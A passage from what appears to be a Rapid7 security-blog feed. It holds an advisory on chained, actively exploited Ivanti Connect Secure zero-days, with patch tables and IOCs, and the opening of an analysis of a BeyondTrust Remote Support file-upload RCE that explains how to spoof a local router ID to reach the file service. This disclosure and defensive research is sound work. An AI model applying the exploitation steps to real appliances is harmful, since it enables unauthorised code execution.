CVSSv3.0 score of </span><a href="https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N"><span style='font-size: undefined;'>4.3</span></a><span style='font-size: undefined;'> and, according to </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-118527"><span style='font-size: undefined;'>CISA's KEV entry</span></a><span style='font-size: undefined;'>, allows a remote authenticated attacker to upload attacker-controlled content to a known location on disk.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Per Ivanti, exploitation in the wild has already occurred prior to disclosure, affecting a limited number of customers when these flaws are chained with </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-104935"><span style='font-size: undefined;'>CVE-2026-104935</span></a><span style='font-size: undefined;'>, an authentication bypass by spoofing (</span><a href="https://cwe.mitre.org/data/definitions/290.html"><span style='font-size: undefined;'>CWE-290</span></a><span style='font-size: undefined;'>). Rapid7 </span><a href="https://www.rapid7.com/blog/post/etr-ivanti-connect-secure-zero-day-exploited-in-the-wild-cve-2026-104935/"><span style='font-size: undefined;'>covered the original disclosure on October 13, 2026</span></a><span style='font-size: undefined;'>, when a fix for CVE-2026-104935 was available but the privilege escalation component remained unpatched. Fixes are now available for all three vulnerabilities.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>On October 30, 2026, CVE-2026-111357 and CVE-2026-118527 were added to the U.S. Cybersecurity and Infrastructure Security Agency's (CISA) list of </span><a href="https://www.cisa.gov/known-exploited-vulnerabilities-catalog"><span style='font-size: undefined;'>known exploited vulnerabilities</span></a><span style='font-size: undefined;'> (KEV), based on evidence of active exploitation.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The following scores and classifications are from Ivanti's updated advisory:</span></p><table><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CVE</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Ivanti CVSS score</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CWE</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Impact</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-104935</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>8.6 (High), CVSSv3.0</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>CWE-290</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Remote unauthenticated command execution</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-111357</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>8.8 (High), CVSSv3.1</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>CWE-306, CWE-862, CWE-345</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Local authenticated privilege escalation</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-118527</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>4.3 (Medium), CVSSv3.0</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>CWE-340</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Remote authenticated file upload to a known path</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Note: The </span><a href="https://www.cve.org/CVERecord?id=CVE-2026-111357"><span style='font-size: undefined;'>CVE record</span></a><span style='font-size: undefined;'> and Rapid7's vulnerability database rate CVE-2026-111357 at </span><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"><span style='font-size: undefined;'>7.0</span></a><span style='font-size: undefined;'>, using high attack complexity and unchanged scope. Ivanti assesses low attack complexity and changed scope, resulting in its score of 8.8. The table follows Ivanti's scores and classifications.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In its </span><a href="https://www.volexity.com/blog/2026/10/13/a-series-of-unauthenticated-events-chained-exploitation-of-ivanti-connect-secure-zero-days/"><span style='font-size: undefined;'>investigation</span></a><span style='font-size: undefined;'>, Volexity reports that UTA0576 used an exploit chain to gain unauthenticated root access to an appliance running </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.8R2.4</span><span style='font-size: undefined;'>, beginning on October 3, 2026. Its write-up identifies CVE-2026-104935 and CVE-2026-111357; Ivanti's updated advisory identifies CVE-2026-118527 as an additional component of the chain. Volexity observed credential theft and Active Directory queries for Windows LAPS passwords and BitLocker recovery keys.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The combined impact warrants emergency remediation despite the individual CVSS ratings. Ivanti Connect Secure is an enterprise VPN solution deployed at the network edge and has a history of zero-day exploitation, including in </span><a href="https://www.rapid7.com/blog/post/2024/01/11/etr-zero-day-exploitation-of-ivanti-connect-secure-and-policy-secure-gateways/"><span style='font-size: undefined;'>2024</span></a><span style='font-size: undefined;'> and </span><a href="https://www.rapid7.com/blog/post/2025/01/08/etr-cve-2025-0282-ivanti-connect-secure-zero-day-exploited-in-the-wild/"><span style='font-size: undefined;'>2025</span></a><span style='font-size: undefined;'>.</span></p><h2 style="direction: ltr;">Mitigation guidance</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 recommends applying the available updates on an emergency basis outside of normal patching cycles. The October 13 fixes in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.1.2</span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.8R2.5</span><span style='font-size: undefined;'> do not remediate CVE-2026-111357 or CVE-2026-118527.</span></p><table><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>CVE(s)</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Affected versions</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Fixed version(s)</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-111357 and CVE-2026-118527</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.1.2</span><span style='font-size: undefined;'> and prior</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.1.3</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-111357 and CVE-2026-118527</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.8R2.5</span><span style='font-size: undefined;'> and prior</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.8R2.6</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-104935</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.1.1</span><span style='font-size: undefined;'> and prior</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.1.2</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-104935</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.2.2</span><span style='font-size: undefined;'> and prior</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.3.0</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.3.1</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'>CVE-2026-104935</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.8R2.4</span><span style='font-size: undefined;'> and prior</span></p></td><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.8R2.5</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>Ivanti recommends moving from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.8.X</span><span style='font-size: undefined;'> to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.1.3</span><span style='font-size: undefined;'> or later, or applying </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>22.8R2.6</span><span style='font-size: undefined;'> if migration is not immediately possible. Ivanti lists </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>25.1.3.0</span><span style='font-size: undefined;'> and later on ISA4500, ISA6500, or ISA8500 as unaffected.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 also recommends investigating for compromise after patching. Volexity reports that the observed activity evades Ivanti's Integrity Checker Tool, so a clean result does not rule out compromise. Preserve memory and logs before rebooting or resetting where feasible. If compromise is suspected, follow Ivanti's </span><a href="https://hub.ivanti.com/s/article/Recovery-Steps"><span style='font-size: undefined;'>recovery steps</span></a><span style='font-size: undefined;'> and rotate potentially exposed credentials.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For current fixed versions and mitigation guidance, refer to Ivanti's </span><a href="https://hub.ivanti.com/s/article/Security-Advisory-Ivanti-Connect-Secure-CVE-2026-104935?language=en_US"><span style='font-size: undefined;'>security advisory</span></a><span style='font-size: undefined;'>. Its linked recovery procedure includes older release references.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Artifacts, evidence sources, and IOCs</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>The following guidance and artifacts are from Volexity's investigation:</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Hunting guidance:</strong></span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Review requests to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/dana-na/auth/url_default/welcome.cgi</span><span style='font-size: undefined;'>, especially URL/header mismatches involving </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>X-DSCGI-PATH</span><span style='font-size: undefined;'>. Observed values include:</span></p></li></ul><pre language="html">X-DSCGI-PATH: /home/webserver/htdocs/dana/fb/smb/wu.cgi
X-DSCGI-PATH: /home/runtime/tmp/&lt;MD5(filename)&gt;</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Evidence sources on the appliance:</strong></span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>/tmp/</span><span style='font-size: undefined;'>: </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>ml.py</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>rq5.py</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>mk.py</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>rr.py</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>pu.txt</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>sp_out.txt</span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>spray_hits.json</span><span style='font-size: undefined;'>.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>/data/.icscap/</span><span style='font-size: undefined;'>: </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>dsstatmond</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>cap*</span><span style='font-size: undefined;'>, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>h.py</span><span style='font-size: undefined;'>.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>/home/runtime/tmp/</span><span style='font-size: undefined;'>: </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>ics-root-run-inband-*.pl</span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>ics-root-result-inband-*</span><span style='font-size: undefined;'>.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>/home/runtime/dlogs/debuglog</span><span style='font-size: undefined;'> and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/var/log/audit/audit.log</span><span style='font-size: undefined;'>: investigate evidence of selective deletion.</span></p></li></ul><p></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Network IOCs:</strong></span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>108.165.147[.]64</span><span style='font-size: undefined;'>: UTA0576 exploitation IP, per Volexity's </span><a href="https://github.com/volexity/threat-intel/blob/main/2026/2026-10-13%20Ivanti/iocs.csv"><span style='font-size: undefined;'>IOC list</span></a><span style='font-size: undefined;'>.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>Volexity also provides </span><a href="https://github.com/volexity/threat-intel/blob/main/2026/2026-10-13%20Ivanti/rules.yar"><span style='font-size: undefined;'>YARA rules</span></a><span style='font-size: undefined;'> for request-header evidence and the privilege escalation payload in memory.</span></p><h2 style="direction: ltr;">Rapid7 customers</h2><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Exposure Command, Vulnerability Management, and Nexpose</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Exposure Command, Vulnerability Management, and Nexpose customers can assess exposure to CVE-2026-111357 and CVE-2026-118527 with authenticated vulnerability checks available since the 2026-10-30 content release.</span></p><h2 style="direction: ltr;">Updates</h2><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>November 2, 2026</strong></span><span style='font-size: undefined;'>: Initial publication.</span></p></li></ul>]]></description>
      <link>https://www.rapid7.com/blog/post/etr-additional-ivanti-connect-secure-zero-days-exploited-in-the-wild-cve-2026-111357-cve-2026-118527</link>
      <guid isPermaLink="false">blt1a33e6313c3580de</guid>
      <category><![CDATA[Rapid7 Intelligence]]></category>
      <category><![CDATA[Emergent Threat Response]]></category>
      <category><![CDATA[Emerging Threats]]></category><dc:creator><![CDATA[Rapid7]]></dc:creator>
      <pubDate>Mon, 02 Nov 2026 11:04:08 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt65a432ba319f4043/6846abddaf18306debe6cf4d/ETR.webp" medium="image" />
    </item>
    <item>
      <title><![CDATA[Rapid7 Analysis: Unauthenticated File Upload to RCE in BeyondTrust Remote Support (CVE-2026-102764)]]></title>
      <description><![CDATA[<h2 style="direction: ltr;">Overview</h2><p style="direction: ltr;"><span style='font-size: undefined;'>An origin-validation flaw in BeyondTrust Remote Support lets an unauthenticated attacker write files on the appliance and execute code as the site's operating-system user. The entry point is the public customer connection used to start a support session. No account credentials or user interaction are required.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The flaw sits between the internal message router, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>brain</span><span style='font-size: undefined;'>, and an appliance-side customer worker, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>thin-scc</span><span style='font-size: undefined;'>. An attacker can put a reserved local router ID into a message's source address. The router forwards the message, and the worker accepts that address as proof that the request came from a local component. This gives the attacker access to an internal file-transfer service, including its native filesystem provider.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>We first confirmed the file write then used the primitive to upload a PHP file to the site's public directory. Requesting that file gave us code execution as the site user. A </span><a href="https://github.com/rapid7/metasploit-framework/pull/22083" target="_self"><span style='font-size: undefined;'>Metasploit module</span></a><span style='font-size: undefined;'> now implements the chain with PHP and Unix Command targets.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>We tested </span><span style='font-size: undefined;'><strong>Remote Support 24.1.2, build 1524046</strong></span><span style='font-size: undefined;'>, revision </span><span style='color:rgb(24, 128, 56);font-size: undefined;'><span data-type='inlineCode'>4208-ddcf90715106aa0c0e19c103f8d2c412af4beff3</span></span><span style='font-size: undefined;'>. The test appliance had public issue-menu session starts and thin chat enabled (default). Other affected releases and fixed builds have not been established. The VM's base appliance version of Secure Remote Access, </span><span style='font-size: undefined;'><strong>7.1.0</strong></span><span style='font-size: undefined;'>, is separate from the Remote Support application version. </span></p><h2 style="direction: ltr;">Impact</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The attacker controls both the contents of an uploaded file and its destination path, subject to the worker's filesystem permissions. The same origin forgery also reaches the file-send operation. We used it to retrieve </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/proc/self/environ</span><span style='font-size: undefined;'> to determine the base installation path of the Remote Support before dropping the payload</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>On the tested appliance, the native file service could write into the PHP document root. The Metasploit module returns code execution in the context of </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>msfuser</span><span style='font-size: undefined;'>, UID 1000, which establishes unauthenticated remote code execution as the site user.</span></p><h2 style="direction: ltr;">Technical Analysis</h2><p style="direction: ltr;"><span style='font-size: undefined;'>We will demonstrate how an attacker can start an anonymous session and then forge a message that the appliance will accept as local. Then outline how we can reach the native file transfer service, choose the uploaded file’s contents and destination and turn the file write into PHP execution. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Addresses use Ghidra image base </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>0x100000</span><span style='font-size: undefined;'>. Subtract that value for the raw ELF virtual address. Function names beginning with </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>FUN_</span><span style='font-size: undefined;'> are Ghidra labels; descriptive names are taken from diagnostic strings where available.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Starting an anonymous customer session</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>We begin by obtaining two customer keys from </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>POST /api/start_session</span><span style='font-size: undefined;'>. These are fresh public guest sessions. The keys let the client use the customer transport, but do not identify a logged-in account. Each guest connects through the </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>/nw</span><span style='font-size: undefined;'> WebSocket endpoint, using either the native or thin customer protocol.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>source/app/write_app_chooser_config:</span></p><pre language="shell-session">echo "ingredi support desk customer:|$BG_app_root/data/tmp/brain.sock" # [A1]
echo "ingredi support desk customer thin:$BG_app_root/app/thin-scc-wrapper" # [A2]</pre><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'></span></p><p><span style='color:rgb(24, 128, 56);font-size: undefined;'>app/write_app_chooser_config</span><span style='font-size: undefined;'> shows where the two customer protocols go. The native protocol reaches the brain socket at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[A1]</span><span style='font-size: undefined;'>; the thin protocol launches a wrapper at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[A2]</span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>source/app/thin-scc-wrapper:</span></p><pre language="shell-session"># ... omitted: protocol parsing and the alternative debug-site branch ...

quoted=$(export PHPRC="$BG_app_root/config/php-cli.ini"; echo $gskey | $ingrediRoot/app/dbquote)
if [[ $(echo "SELECT COUNT(1) FROM gw_sessions WHERE session_key = $quoted AND session_type = 'sdcust' AND (expiration IS NULL OR expiration&gt;NOW())" | $db) != "1" ]]; then # [A3]
    echo "1 failure" &gt;&0
    exit 0
fi

# ... omitted: reconnect throttling, customer-name setup, and settings generation ...</pre><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'></span></p><p><span style='color:rgb(24, 128, 56);font-size: undefined;'>app/thin-scc-wrapper</span><span style='font-size: undefined;'> checks that the thin customer's key belongs to an unexpired </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>sdcust</span><span style='font-size: undefined;'> session at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[A3]</span><span style='font-size: undefined;'>. A key obtained through the public session-start endpoint passes this check.</span></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>app/thin-scc-wrapper</span><span style='font-size: undefined;'>, after the session check:</span></p><pre language="shell-session">echo "0 success" &gt;&0
workDir=`handleThinMint "$thinMint"` || exit

if [[ ! -f "$workDir/thin-scc" ]]; then
    pushd "$workDir"
    cp $ingrediRoot/app/thin-scc .
    # ... omitted: license, image, and settings.ini setup ...
else
    pushd "$workDir"
fi

export BRAIN_MELD_SOCKET_PATH=$ingrediRoot/data/tmp/brain.sock
# ... omitted: server-side environment initialization ...
./thin-scc # [A4] Starts the worker inside the appliance environment.
exitStatus=$?</pre><p style="direction: ltr;"><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>The same wrapper then prepares a working directory and starts </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>thin-scc</span><span style='font-size: undefined;'> at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[A4]</span><span style='font-size: undefined;'>. This process runs on the appliance, even though it is handling an anonymous customer's thin session.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The native connection gives us a client for the internal message-routing system, referred to here as MRS. The thin connection gives us an appliance-side worker to address. Neither step requires a representative to accept the session.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>A network message can claim to be local</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>MRS addresses have three parts: </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>node:router:handler</span><span style='font-size: undefined;'>. Each message carries source and destination addresses in a 36-byte header made up of nine little-endian 32-bit fields.</span></p><table><thead><tr><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Header offset</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Field</strong></span></p></th><th><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Value used by the exploit</strong></span></p></th></tr></thead><tbody><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>0x04</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Source node</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>The customer's normal node</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>0x08</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Source router</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Changed to the reserved value </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>1</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>0x0c</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Destination node</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>The worker's node</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>0x10</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Destination router</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>The worker's router</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>0x14</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Destination handler</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Main dispatcher, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>2048</span><span style='font-size: undefined;'>, on the tested build</span></p></td></tr><tr><td><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>0x24</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Payload</span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>Service name, newline, then packed fields</span></p></td></tr></tbody></table><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>app/brain — ingress check:</span></p><pre language="cpp">if (*(int *)((long)param_2 + 0xc) == *(int *)(param_1 + 0x10)) {
    *(uint *)(param_2 + 4) = (uint)*(byte *)(param_2 + 4);

    if ((*(int *)(param_2 + 1) == *(int *)((long)param_1 + 0x84)) &&
        (param_3 != (ulong **)0x0)) { // [B1] Rejects a network claim of this router's actual ID.
        if (lRam0000000001ec8610 != 0) {
            func_0x0168de00(
                0x15, 3,
                "dropping spoofed message that came in from the network but has a routerID of our own\n"
            );
        }
    }
    else if (*(int *)((long)param_1 + 0x84) == *(int *)(param_2 + 2)) {
        // ... omitted: delivery to a handler on this router ...
    }
    else {
        // ... omitted: TTL checks, route lookup, and forwarding branches ...
    }
}</pre><p></p><p style="direction: ltr;"><span style='color:rgb(24, 128, 56);font-size: undefined;'>app/brain</span><span style='font-size: undefined;'> has an anti-spoofing check in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>FUN_01566ae0</span><span style='font-size: undefined;'>, identified by its </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>handleMessageFromOtherRouter</span><span style='font-size: undefined;'> diagnostic. At </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[B1]</span><span style='font-size: undefined;'>, it rejects a network packet whose source router matches the receiving router's actual ID.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Here, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>param_1</span><span style='font-size: undefined;'> is the receiving router, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>param_2</span><span style='font-size: undefined;'> is the packet, and </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>param_3</span><span style='font-size: undefined;'> is the incoming connection. Because </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>param_2</span><span style='font-size: undefined;'> points to eight-byte elements, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>*(int *)(param_2 + 1)</span><span style='font-size: undefined;'> reads the source router at byte offset </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>0x08</span><span style='font-size: undefined;'>.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>That leaves a gap: the check compares against the actual router ID, while downstream code also recognises a reserved local alias. On this appliance, the alias is </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>1</span><span style='font-size: undefined;'>.</span></p><pre language="cpp">// ... omitted: destination route resolution, loop checks, and diagnostic logging ...
FUN_0155ec40(
    ppuStack_1300,
    ppuVar6,
    param_2, // [B2] Forwards the packet carrying the caller-supplied source router.
    (int *)((long)param_2 + 0x24)
);</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The forwarding path in the same </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>app/brain</span><span style='font-size: undefined;'> function passes the packet onward at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[B2]</span><span style='font-size: undefined;'>. It does not remove the source claim that matters to the worker's local-origin check.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>app/brain — local-address predicate:</span></p><pre language="cpp">bool FUN_0155ad40(long param_1, int *param_2)
{
    bool bVar1;

    bVar1 = false;
    if (*param_2 == *(int *)(param_1 + 0x80)) { // [C1] Address node must match the local node.
        bVar1 = true;
        if (param_2[1] != 1) { // [C2] Router 1 returns true without the actual-ID comparison.
            return *(int *)(param_1 + 0x84) == param_2[1];
        }
    }
    return bVar1;
}</pre><p></p><p style="direction: ltr;"><span style='font-size: undefined;'>The local-address predicate makes the mismatch clear. In </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>app/brain</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>FUN_0155ad40</span><span style='font-size: undefined;'> first checks the node at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[C1]</span><span style='font-size: undefined;'>. If that matches, router </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>1</span><span style='font-size: undefined;'> is enough to return true at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[C2]</span><span style='font-size: undefined;'>; the comparison with the actual local router is skipped.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The rule is effectively </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>node AND (router == 1 OR router == actual local router)</span><span style='font-size: undefined;'>. An address supplied by a network client is being used to make that decision.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>app/thin-scc — message-origin wrapper:</span></p><pre language="cpp">UNRECOVERED_JUMPTABLE = *(code **)(**(long **)(*param_1 + 8) + 0x50);
(*UNRECOVERED_JUMPTABLE)(
    *(long **)(*param_1 + 8),
    param_1 + 0xb, // [C3] Uses the dispatched message's sender address at byte offset 0x58.
    UNRECOVERED_JUMPTABLE
);</pre><p><span style='font-size: undefined;'></span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The corresponding message wrapper in </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>app/thin-scc</span><span style='font-size: undefined;'>, passes the message's sender address into its router object's local-address predicate at </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>[C3]</span><span style='font-size: undefined;'>. Ghidra did not recover a reliable prototype for this indirect call; the caller consumes its result as a boolean.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>We checked this behaviour with the same file-service request under two origins. The ordinary customer source produced no file-service connection during a two-second observation. Changing the source router to </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>1</span><span style='font-size: undefined;'> caused the worker to accept it.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Reaching the native file-transfer service</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>In </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>app/thin-scc</span><span style='font-size: undefined;'>, </span><span style='color:rgb(24, 128, 56);font-size: undefined;'>FUN_0047a850</span><span style='font-size: undefined;'> dispatches file-transfer messages.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>app/thin-scc — file-transfer dispatcher:</span></p><pre language="cpp">cVar3 = func_0x0068e930(param_2); // [D1] Locality is derived from the message sender address.
if (cVar3 == '\0') {
    if (lRam00000000009bade8 != 0) {
        puVar5 = (undefined8 *)func_0x0068efe0(param_2);
